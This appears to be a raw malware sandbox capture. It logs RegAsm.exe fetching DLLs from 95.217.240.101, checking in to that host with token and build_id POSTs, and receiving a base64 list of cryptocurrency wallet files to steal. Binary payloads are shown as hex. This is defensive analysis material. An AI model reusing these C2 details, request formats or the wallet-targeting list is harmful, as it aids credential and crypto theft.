2024-05-15 18:36:18 UTC	16138	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSw
2024-05-15 18:36:18 UTC	16384	IN	Data Raw: ff 89 85 f4 fe ff ff c7 85 f8 fe ff ff 04 00 00 00 8d 85 f0 fe ff ff 6a 01 50 53 57 e8 85 af 00 00 83 c4 10 89 c6 85 c0 75 3f 8b 85 ec fe ff ff 83 c0 fd 83 f8 01 77 25 be 30 00 00 00 83 3d 28 9a 03 10 00 75 23 83 3d 50 90 03 10 00 74 0e be 01 01 00 00 f6 05 20 9a 03 10 01 74 0c 53 57 e8 e2 b9 00 00 83 c4 08 89 c6 83 3d 2c 9a 03 10 00 0f 84 5e ff ff ff 8b 85 ec fe ff ff 83 c0 fe 83 f8 02 0f 87 4c ff ff ff 56 53 57 68 85 6b 03 10 68 00 01 00 00 8d 85 f0 fe ff ff 50 ff 15 1c 7c 03 10 83 c4 18 e9 2a ff ff ff cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 81 ec 08 01 00 00 a1 14 90 03 10 31 e8 89 45 f0 c7 85 ec fe ff ff 00 00 00 00 be 30 00 00 00 83 3d 28 9a 03 10 00 74 17 8b 4d f0 31 e9 e8 28 8b 02 00 89 f0 81 c4 08 01 00 00 5e 5f 5b 5d c3 8b 5d 0c c7 Data Ascii: jPSWu?w%0=(u#=Pt tSW=,^LVSWhkhP\|*USWV1E0=(tM1(^_[]]
2024-05-15 18:36:18 UTC	16384	IN	Data Raw: ff 83 c4 10 85 c0 0f 85 6b 03 00 00 57 e8 c4 9d ff ff 83 c4 04 ff 75 e8 53 57 e8 f7 9d ff ff 83 c4 0c ff 75 e8 8d 45 e8 50 53 57 e8 26 9e ff ff 83 c4 10 85 c0 0f 85 3c 03 00 00 8b 4d c8 83 c1 01 8b 75 e4 8b 45 dc 01 f0 3b 4d c0 0f 85 6c ff ff ff 31 f6 e9 20 03 00 00 31 f6 ff 35 30 9a 03 10 ff 15 f0 7b 03 10 83 c4 04 a1 34 9a 03 10 85 c0 74 15 6a 01 50 e8 57 4e 02 00 83 c4 08 c7 05 34 9a 03 10 00 00 00 00 a1 38 9a 03 10 85 c0 74 15 6a 01 50 e8 39 4e 02 00 83 c4 08 c7 05 38 9a 03 10 00 00 00 00 a1 3c 9a 03 10 85 c0 74 15 6a 01 50 e8 1b 4e 02 00 83 c4 08 c7 05 3c 9a 03 10 00 00 00 00 56 e8 e8 4d 02 00 83 c4 04 a3 34 9a 03 10 8b 47 38 a3 40 9a 03 10 8b 47 28 a3 44 9a 03 10 8b 47 2c a3 48 9a 03 10 8d 47 04 50 e8 bf 4d 02 00 83 c4 04 a3 38 9a 03 10 ff 75 0c e8 Data Ascii: kWuSWuEPSW&<MuE;Ml1 150{4tjPWN48tjP9N8<tjPN<VM4G8@G(DG,HGPM8u
2024-05-15 18:36:18 UTC	16384	IN	Data Raw: 10 88 41 03 0f b6 41 04 d1 e8 8a 80 68 f9 02 10 88 41 04 0f b6 41 05 d1 e8 8a 80 68 f9 02 10 88 41 05 0f b6 41 06 d1 e8 8a 80 68 f9 02 10 88 41 06 0f b6 41 07 d1 e8 8a 80 68 f9 02 10 88 41 07 ba 01 01 01 01 8b 31 31 d6 33 51 04 b8 01 00 00 00 09 f2 0f 84 37 01 00 00 ba 1f 1f 1f 1f 33 11 be 0e 0e 0e 0e 33 71 04 09 d6 0f 84 20 01 00 00 ba e0 e0 e0 e0 33 11 be f1 f1 f1 f1 33 71 04 09 d6 0f 84 09 01 00 00 ba fe fe fe fe 8b 31 31 d6 33 51 04 09 f2 0f 84 f5 00 00 00 ba 01 fe 01 fe 8b 31 31 d6 33 51 04 09 f2 0f 84 e1 00 00 00 ba fe 01 fe 01 8b 31 31 d6 33 51 04 09 f2 0f 84 cd 00 00 00 ba 1f e0 1f e0 33 11 be 0e f1 0e f1 33 71 04 09 d6 0f 84 b6 00 00 00 ba e0 1f e0 1f 33 11 be f1 0e f1 0e 33 71 04 09 d6 0f 84 9f 00 00 00 ba 01 e0 01 e0 33 11 be 01 f1 01 f1 33 71 Data Ascii: AAhAAhAAhAAhA113Q733q 33q113Q113Q113Q33q33q33q
2024-05-15 18:36:18 UTC	16384	IN	Data Raw: 00 e9 21 07 00 00 3d 50 06 00 00 0f 8f aa 01 00 00 3d 51 05 00 00 74 2d 3d 52 05 00 00 74 12 3d 55 05 00 00 0f 85 0a 07 00 00 c7 47 0c 01 00 00 00 83 7b 04 00 0f 84 ec 06 00 00 83 7b 08 10 0f 85 e2 06 00 00 c7 47 18 10 00 00 00 83 7c 24 24 25 0f 85 fb 07 00 00 6a 11 ff 74 24 30 e8 44 c7 00 00 83 c4 08 85 c0 0f 84 78 09 00 00 89 c7 31 c0 81 3b 51 05 00 00 0f 95 c0 ff 77 1c 8b 4d 20 51 50 ff 73 04 ff 77 18 e8 09 1e ff ff 83 c4 14 8b 4c 24 28 89 41 64 57 e8 a9 c6 00 00 83 c4 04 8b 44 24 28 83 78 64 00 0f 84 bf 08 00 00 83 7d 20 00 b9 60 2a 00 10 ba 20 2a 00 10 0f 44 d1 89 50 74 c7 80 84 00 00 00 e0 29 00 10 e9 eb 08 00 00 3d 09 21 00 00 0f 8e 1c 02 00 00 3d 0a 21 00 00 0f 84 08 02 00 00 3d 0b 21 00 00 0f 84 23 02 00 00 3d 21 40 00 00 0f 85 37 06 00 00 83 7c Data Ascii: !=P=Qt-=Rt=UG{{G\|$$%jt$0Dx1;QwM QPswL$(AdWD$(xd} `* *DPt)=!=!=!#=!@7\|
2024-05-15 18:36:18 UTC	16384	IN	Data Raw: 14 90 03 10 31 e8 89 45 f0 ff 75 08 e8 35 ab 00 00 83 c4 04 85 c0 74 5f 89 c6 8b 78 38 bb 91 00 00 00 85 ff 74 56 83 3f 03 75 51 8b 4d 18 8b 47 04 83 7d 14 00 74 59 8b 5d 0c 85 c0 74 64 89 ce 8b 4d 08 89 da 6a 03 ff 75 10 e8 47 fa ff ff 83 c4 08 89 c3 85 c0 75 24 56 ff 75 14 ff 75 08 e8 72 fd ff ff 83 c4 0c 89 c6 8b 4d f0 31 e9 e8 a3 8b 01 00 89 f0 eb 11 bb b3 00 00 00 8b 4d f0 31 e9 e8 90 8b 01 00 89 d8 83 c4 10 5e 5f 5b 5d c3 85 c0 74 06 83 7f 68 00 74 5a 81 c7 90 00 00 00 eb 55 8b 01 89 45 e8 8b 47 64 89 45 e4 8b 4f 74 ff 15 00 a0 03 10 8d 45 ec ff 75 10 53 ff 75 e8 50 ff 75 14 ff 75 e4 ff d1 83 c4 18 85 c0 74 32 e8 a1 8d 01 00 50 e8 eb 84 00 00 83 c4 04 8b 55 ec 8b 4d 18 89 11 bb 50 01 00 00 3d 50 01 00 00 74 8a eb 18 83 c7 60 8b 07 89 01 31 db e9 7a Data Ascii: 1Eu5t_x8tV?uQMG}tY]tdMjuGu$VuurM1M1^_[]thtZUEGdEOtEuSuPuut2PUMP=Pt`1z
2024-05-15 18:36:18 UTC	16384	IN	Data Raw: d8 00 00 00 00 c7 45 d4 04 00 00 00 eb 18 0f 1f 84 00 00 00 00 00 8b 47 fc 8b 00 89 45 d8 83 c7 0c 83 c6 ff 74 5a 8b 47 f8 85 c0 74 19 3d 61 01 00 00 74 e2 8b 4f fc eb 15 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 8b 4f fc 8b 11 89 55 d4 ff 37 51 50 ff 75 dc e8 8c 53 00 00 83 c4 10 85 c0 74 bd 89 c3 e9 80 01 00 00 bf 02 00 00 00 e9 83 01 00 00 c7 45 d4 04 00 00 00 c7 45 d8 00 00 00 00 8b 45 10 8b 4d 0c 83 ec 1c 0f 28 05 40 fb 02 10 0f 11 44 24 0c 89 44 24 08 89 4c 24 04 8b 45 08 89 04 24 e8 fe 7c ff ff 83 c4 1c 85 c0 74 0c 89 c3 ff 75 dc e8 7d 5a 00 00 eb 3d 8b 7d 18 8b 5d 14 57 e8 8b 4d 01 00 83 c4 04 89 c6 89 7d ec 8d 45 ec 50 56 57 53 ff 75 08 e8 e8 9a ff ff 83 c4 14 85 c0 74 26 89 c3 ff 75 dc e8 47 5a 00 00 83 c4 04 56 e8 78 4d 01 00 83 c4 04 83 fb 40 bf Data Ascii: EGEtZGt=atOf.OU7QPuStEEEM(@D$D$L$E$\|tu}Z=}]WM}EPVWSut&uGZVxM@
2024-05-15 18:36:18 UTC	16384	IN	Data Raw: 8b 48 38 b8 91 00 00 00 85 c9 74 4a 83 39 02 75 45 83 79 04 00 74 3f 8b 55 0c 8b 59 6c 83 c3 08 89 1f 31 c0 85 d2 74 2e b8 50 01 00 00 39 de 72 25 8b 01 89 02 8b 41 70 89 42 04 83 c2 08 ff 71 6c ff 71 64 52 e8 cc 0f 01 00 83 c4 0c 31 c0 eb 05 b8 b3 00 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 ec 10 8b 7d 10 a1 14 90 03 10 31 e8 89 45 f0 85 ff 0f 84 2d 01 00 00 8b 5d 0c 8b 33 ff 75 08 e8 b5 2a 00 00 83 c4 04 b9 b3 00 00 00 85 c0 0f 84 12 01 00 00 83 fe 0a 0f 87 f7 00 00 00 b9 78 06 00 00 0f a3 f1 73 12 8d 48 38 eb 1a 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 b9 83 01 00 00 0f a3 f1 73 e4 8d 48 34 8b 09 83 fe 0a 77 2f ba 78 06 00 00 0f a3 f2 73 12 83 c0 38 eb 1a 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 ba 83 01 00 00 0f a3 f2 73 Data Ascii: H8tJ9uEyt?UYl1t.P9r%ApBqlqdR1^_[]USWV}1E-]3u*xsH8f.sH4w/xs8f.s
2024-05-15 18:36:18 UTC	16384	IN	Data Raw: cc cc cc cc cc cc 55 89 e5 53 57 56 ff 75 08 e8 c2 d8 ff ff 83 c4 04 85 c0 0f 84 9c 03 00 00 89 c6 c7 40 24 00 00 00 00 bf 02 00 00 00 83 78 0c 00 0f 88 54 03 00 00 ff 76 34 ff 15 f0 7b 03 10 83 c4 04 8b 46 34 8b 5e 40 8d 4b 01 89 4e 40 50 ff 15 10 7c 03 10 83 c4 04 83 fb 2c 0f 8f 29 03 00 00 6b c3 54 8d 0c 06 83 c1 64 89 4c 06 5c c7 44 06 64 57 43 53 ce c7 44 06 60 04 00 00 00 c7 44 06 58 00 00 00 00 c7 44 06 54 00 00 00 00 0f 57 c0 0f 11 44 06 44 83 7e 0c 00 0f 88 ea 02 00 00 8d 1c 06 83 c3 44 ff 76 34 ff 15 f0 7b 03 10 83 c4 04 69 4b 10 c5 90 c6 6a 8b 86 0c 0f 00 00 83 c0 ff 21 c8 8b 8c 86 10 0f 00 00 89 0b c7 43 04 00 00 00 00 8b 8c 86 10 0f 00 00 85 c9 74 03 89 59 04 89 9c 86 10 0f 00 00 ff 76 34 ff 15 10 7c 03 10 83 c4 04 83 7e 0c 00 0f 88 8b 02 00 Data Ascii: USWVu@$xTv4{F4^@KN@P\|,)kTdL\DdWCSD`DXDTWDD~Dv4{iKj!CtYv4\|~
2024-05-15 18:36:19 UTC	16384	IN	Data Raw: 00 89 f8 81 c4 3c 01 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 89 d6 89 cf 8b 5d 08 8b 4b 24 ff 15 00 a0 03 10 ff 75 14 ff 75 10 ff 75 0c 53 ff d1 83 c4 10 85 c0 75 1e 31 c0 39 5e 34 0f 94 c0 89 f9 89 f2 ff 75 14 ff 75 10 ff 75 0c 50 e8 1c 2b 00 00 83 c4 10 5e 5f 5b 5d c3 cc cc cc cc 55 89 e5 53 57 56 83 ec 10 8b 45 08 8b 0d 14 90 03 10 31 e9 89 4d f0 c7 45 ec 00 00 00 00 85 c0 74 63 8b 75 10 8b 58 34 85 db 74 5d 85 f6 74 5f 8b 4d 0c 8d 45 e8 8d 7d ec 89 f2 50 57 e8 8e 00 00 00 83 c4 08 85 c0 74 60 89 c7 8b 45 ec 89 45 e4 8b 4b 14 ff 15 00 a0 03 10 ff 75 14 56 57 53 8b 5d e4 ff d1 83 c4 10 89 c6 85 db 74 40 57 e8 96 8d 00 00 83 c4 04 ff 75 e8 53 e8 b4 8d 00 00 83 c4 08 eb 29 31 f6 eb 25 8b 18 85 f6 75 a1 8b 4b 14 ff 15 00 a0 03 10 ff Data Ascii: <^_[]USWV]K$uuuSu19^4uuuP+^_[]USWVE1MEtcuX4t]t_ME}PWt`EEKuVWS]t@WuS)1%uK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49753	95.217.240.101	443	5984	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-15 18:36:19 UTC	225	OUT	GET /vcruntime140.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 Ddg/17.4.1 Host: 95.217.240.101 Cache-Control: no-cache
2024-05-15 18:36:20 UTC	245	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 May 2024 18:36:20 GMT Content-Type: application/octet-stream Content-Length: 80880 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: close ETag: "6315a9f4-13bf0" Accept-Ranges: bytes
2024-05-15 18:36:20 UTC	16139	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"
2024-05-15 18:36:20 UTC	16384	IN	Data Raw: ff ff eb 1e 0f b6 4e 03 0f b6 42 03 2b c8 74 12 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff eb 02 33 c9 85 c9 0f 85 6f 05 00 00 8b 46 04 3b 42 04 74 4f 0f b6 f8 0f b6 42 04 2b f8 75 18 0f b6 7e 05 0f b6 42 05 2b f8 75 0c 0f b6 7e 06 0f b6 42 06 2b f8 74 10 33 c9 85 ff 0f 9f c1 8d 0c 4d ff ff ff ff eb 1e 0f b6 4e 07 0f b6 42 07 2b c8 74 12 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff eb 02 33 c9 85 c9 0f 85 0e 05 00 00 8b 46 08 3b 42 08 74 4f 0f b6 f8 0f b6 42 08 2b f8 75 18 0f b6 7e 09 0f b6 42 09 2b f8 75 0c 0f b6 7e 0a 0f b6 42 0a 2b f8 74 10 33 c9 85 ff 0f 9f c1 8d 0c 4d ff ff ff ff eb 1e 0f b6 4e 0b 0f b6 42 0b 2b c8 74 12 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff eb 02 33 c9 85 c9 0f 85 ad 04 00 00 8b 46 0c 3b 42 0c 74 4f 0f b6 f8 0f b6 42 0c 2b f8 75 18 Data Ascii: NB+t3E3oF;BtOB+u~B+u~B+t3MNB+t3E3F;BtOB+u~B+u~B+t3MNB+t3E3F;BtOB+u
2024-05-15 18:36:20 UTC	16384	IN	Data Raw: 08 00 00 59 6a 28 8d 4d 80 8b f0 e8 67 f3 ff ff 56 8d 4d f0 51 8b c8 e8 0a f7 ff ff 6a 29 8d 85 70 ff ff ff 50 8d 4d f0 e8 1b f7 ff ff 50 8d 4d f8 e8 78 f7 ff ff 81 7d dc 00 08 00 00 75 1a 8b c3 25 00 07 00 00 3d 00 02 00 00 74 0c 8d 45 98 50 8d 4d f8 e8 55 f7 ff ff a1 98 f2 00 10 c1 e8 13 f7 d0 a8 01 8d 45 cc 50 74 11 e8 92 2e 00 00 59 50 8d 4d f8 e8 34 f7 ff ff eb 0f e8 81 2e 00 00 59 50 8d 4d f8 e8 9f f8 ff ff 8d 45 cc 50 e8 69 23 00 00 59 50 8d 4d f8 e8 10 f7 ff ff a1 98 f2 00 10 c1 e8 08 f7 d0 a8 01 8d 45 cc 50 74 11 e8 30 3e 00 00 59 50 8d 4d f8 e8 ef f6 ff ff eb 0f e8 1f 3e 00 00 59 50 8d 4d f8 e8 5a f8 ff ff 8d 45 cc 50 e8 6a 19 00 00 59 50 8d 4d f8 e8 47 f8 ff ff a1 98 f2 00 10 c1 e8 02 f7 d0 a8 01 74 20 85 ff 74 1c 8b 45 f8 89 07 8b 45 fc 89 47 Data Ascii: Yj(MgVMQj)pPMPMx}u%=tEPMUEPt.YPM4.YPMEPi#YPMEPt0>YPM>YPMZEPjYPMGt tEEG
2024-05-15 18:36:20 UTC	16384	IN	Data Raw: 0f 83 fa 10 74 15 b8 ff ff 00 00 e9 f7 01 00 00 81 c9 80 00 00 00 eb 03 83 c9 40 83 e0 06 2b c7 0f 84 df 01 00 00 2b c6 74 1e 2b c6 74 0f 2b c6 75 d4 81 c9 00 04 00 00 e9 c8 01 00 00 81 c9 00 01 00 00 e9 bd 01 00 00 81 c9 00 02 00 00 e9 b2 01 00 00 2b c6 75 af 8d 51 01 89 15 90 f2 00 10 8a 02 3c 30 7c 2a 3c 39 7f 26 0f be c0 83 c2 d1 03 c2 a3 90 f2 00 10 e8 8c fe ff ff 0d 00 00 01 00 e9 81 01 00 00 b8 fe ff 00 00 e9 77 01 00 00 b9 ff ff 00 00 e9 dc 00 00 00 83 f8 2f 0f 8e 63 ff ff ff 8b f2 83 f8 35 7e 62 83 f8 41 0f 85 53 ff ff ff 81 c9 00 90 00 00 e9 b8 00 00 00 b9 fe ff 00 00 4a e9 ad 00 00 00 81 c9 00 98 00 00 e9 a2 00 00 00 83 e8 43 0f 84 94 00 00 00 83 e8 01 0f 84 83 00 00 00 83 e8 01 74 76 83 e8 0d 0f 85 12 ff ff ff 42 89 15 90 f2 00 10 8b f2 8a 0a Data Ascii: t@++t+t+u+uQ<0\|*<9&w/c5~bASJCtvB
2024-05-15 18:36:20 UTC	15589	IN	Data Raw: ae e8 7c cd cc c1 be ea d2 ff 35 4e c0 ce b5 7a ad bb a6 bb 2e dc 94 e9 f3 1e 7d e0 ec 28 a3 07 82 66 5a c3 5b 5a cb ec 03 c9 e3 2c 94 15 21 2b a0 f9 d9 9b 4b e7 b6 de eb 20 51 8c 3e fa 2c 23 d5 18 b0 f0 b1 a0 70 6c 7a ef 8b 83 48 a6 3a 02 06 ef a0 8a 2c b7 88 45 30 82 05 ff 30 82 03 e7 a0 03 02 01 02 02 13 33 00 00 01 51 9e 8d 8f 40 71 a3 0e 41 00 00 00 00 01 51 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 7e 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 28 30 26 06 03 55 04 03 13 1f 4d 69 63 72 6f 73 6f 66 74 20 43 6f 64 65 20 53 69 67 6e 69 6e Data Ascii: \|5Nz.}(fZ[Z,!+K Q>,#plzH:,E003Q@qAQ0*H0~10UUS10UWashington10URedmond10UMicrosoft Corporation1(0&UMicrosoft Code Signin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49754	95.217.240.101	443	5984	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-15 18:36:21 UTC	326	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKFIDGDHJEGIEBFHDGDG User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 Ddg/17.4.1 Host: 95.217.240.101 Content-Length: 1145 Connection: Keep-Alive Cache-Control: no-cache
2024-05-15 18:36:21 UTC	1145	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 46 49 44 47 44 48 4a 45 47 49 45 42 46 48 44 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 65 32 31 31 34 63 33 34 34 37 31 38 63 32 37 34 30 63 37 66 38 63 38 35 38 36 36 62 61 62 39 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 46 49 44 47 44 48 4a 45 47 49 45 42 46 48 44 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 39 65 64 32 38 37 34 36 39 63 33 37 32 31 66 64 35 63 61 66 33 34 36 35 38 30 62 32 63 66 30 64 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 46 49 44 47 44 48 4a 45 47 49 45 42 46 48 44 47 44 47 0d 0a 43 6f 6e 74 Data Ascii: ------JKFIDGDHJEGIEBFHDGDGContent-Disposition: form-data; name="token"5e2114c344718c2740c7f8c85866bab9------JKFIDGDHJEGIEBFHDGDGContent-Disposition: form-data; name="build_id"9ed287469c3721fd5caf346580b2cf0d------JKFIDGDHJEGIEBFHDGDGCont
2024-05-15 18:36:22 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 May 2024 18:36:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-15 18:36:22 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49755	95.217.240.101	443	5984	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-15 18:36:24 UTC	325	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCFBFHIEBKJKFHIEBFBA User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 Ddg/17.4.1 Host: 95.217.240.101 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-05-15 18:36:24 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 43 46 42 46 48 49 45 42 4b 4a 4b 46 48 49 45 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 65 32 31 31 34 63 33 34 34 37 31 38 63 32 37 34 30 63 37 66 38 63 38 35 38 36 36 62 61 62 39 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 46 48 49 45 42 4b 4a 4b 46 48 49 45 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 39 65 64 32 38 37 34 36 39 63 33 37 32 31 66 64 35 63 61 66 33 34 36 35 38 30 62 32 63 66 30 64 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 46 48 49 45 42 4b 4a 4b 46 48 49 45 42 46 42 41 0d 0a 43 6f 6e 74 Data Ascii: ------FCFBFHIEBKJKFHIEBFBAContent-Disposition: form-data; name="token"5e2114c344718c2740c7f8c85866bab9------FCFBFHIEBKJKFHIEBFBAContent-Disposition: form-data; name="build_id"9ed287469c3721fd5caf346580b2cf0d------FCFBFHIEBKJKFHIEBFBACont
2024-05-15 18:36:25 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 May 2024 18:36:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-15 18:36:25 UTC	2228	IN	Data Raw: 38 61 38 0d 0a 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 Data Ascii: 8a8Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49756	95.217.240.101	443	5984	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-15 18:36:25 UTC	325	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGIDAAAKJJDBGCBFCBGI User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 Ddg/17.4.1 Host: 95.217.240.101 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-05-15 18:36:25 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 47 49 44 41 41 41 4b 4a 4a 44 42 47 43 42 46 43 42 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 65 32 31 31 34 63 33 34 34 37 31 38 63 32 37 34 30 63 37 66 38 63 38 35 38 36 36 62 61 62 39 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 44 41 41 41 4b 4a 4a 44 42 47 43 42 46 43 42 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 39 65 64 32 38 37 34 36 39 63 33 37 32 31 66 64 35 63 61 66 33 34 36 35 38 